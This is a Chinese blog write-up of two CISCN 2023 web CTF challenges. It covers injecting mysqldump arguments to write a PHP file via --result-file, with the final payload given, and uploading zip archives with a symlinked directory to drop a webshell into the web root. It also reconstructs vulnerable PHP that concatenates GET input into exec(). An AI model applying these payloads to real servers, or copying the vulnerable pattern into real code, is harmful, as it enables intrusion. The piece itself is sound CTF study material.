ciscn2023-web 总结与思考

dumpit

1.一开始本以为是一个简单的dump界面的命令注入,因为猜测源语句可能是先执行命令读取创建日志信息,然后file_get_contents写入/log/目录中。所以一开始就在读取的table_2_dump参数中进行fuzz,发现很多能用来执行命令的符号,例如反引号、$、|、;均被过滤了,不过尝试换行符成功了,于是尝试执行env成功在环境变量中找到了flag。

2.赛后才知道这是非预期解,预期是mariadb-dump:mariadb-dump官方文档。官方文档中说明了这是一个备份程序,在shell中可以执行备份操作,安装的mysqldump就是链接到该程序中的。它的常用操作:

//打印帮助信息
shell>mysqldump --help
//查看版本
shell>mysqldump --version
//转存所有数据库
shell>mysqldump -uroot -proot --all-databases
//转存指定的数据库test,传递多个参数时,从第二个开始将视为数据库中的表名
shell>mysqldump -uroot -proot --databases test
//减少详细输出
shell>mysqldump -uroot -proot --databases test --compact
//在输出末尾加上日期注释
shell>mysqldump -uroot -proot --databases test --dump-date
//在指定数据库test中指定表名
shell>mysqldump -uroot -proot --databases test --tables users
//将数据输出到指定test.log文件中
shell>mysqldump -uroot -proot --databases test --tables users > test.log
或
shell>mysqldump -uroot -proot --databases test --tables users --result-file=test.log

在这里插入图片描述

3.一般漏洞的产生都是有输入点可控的,当我们使用mysqldump -uroot -proot --databases --tables flag666 >test.log,尽管flag666数据库不存在,但依旧作为database的参数写入到了test.log日志中,而如果我们将flag666替换成<?php phpinfo();?>,log中的database参数也会被替换成我们输入的内容。
在这里插入图片描述

4.所以我们写入的内容有控制点,那么要写马的话,就需要解决的是文件名的问题了。我们可以看到上面的常用语句中有个参数--result-file=可以指定输出到某个文件中,刚好能用这个参数来指定写入的文件名和后缀。

5.由于环境已经关闭了,可以根据页面信息推测,其实原本的代码应该是类似于下面这段(没加waf):

<?php
 header('Content-type:text/html; charset=utf-8');
$db = $_GET['db'];
$dump = $_GET['table_2_dump'];
$log_name = md5(microtime().'-'.rand(1000000000,9999999999)).".log";
if (isset($db)||isset($dump)) {
    $c = "mysqldump -uroot -proot --databases " . $db . " --tables " . $dump . " --dump-date > D:\phpstudy_pro\WWW\\test\log\\" . $log_name;
    exec($c);
    echo "$log_name";
}
?>

6.其中waf是有过滤的,我们用短标签输出,最终payload:?db="<?=phpinfo()?>" --result-file=test1.php&table_2_dump=
在这里插入图片描述

unzip

1.看到这题的代码,我有两个思路:一是文件上传时可控文件名经过拼接执行命令;二是上传链接到根目录/flag的软链接压缩文件,访问上传的文件直接读取flag。

2.但首先$_FILE['tmp']['name']是不可控的,所以第一个思路走不通;第二个因为它上传的压缩包是在/tmp目录下解压的,就算解压了也无法访问上传到的软链接文件。后面找到一个类似的原题:软链接连接目录

3.这种解法就是在第二种思路上改良,把软链接文件改为软链接目录。创建一个连接到/var/www/html目录的软链接,命名为2并压缩到zip包中;然后再创建一个命名为2的文件夹,存放我们的webshell,然后连同文件夹一起压缩。最后先上传我们的软链接压缩包,经过zip解压后将在/tmp目录下生成一个/var/www/html -> 2的软链接目录;然后当我们上传含有webshell的压缩文件夹时,进行解压得到/2/shell.php,由于开始就有一个2的软链接目录,所以我们上传的shell.php将会被解压到软链接目录中,就是是上传到/var/www/html目录中。

4.最后直接访问shell.php,也就是我们的后门文件,执行命令获得flag。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值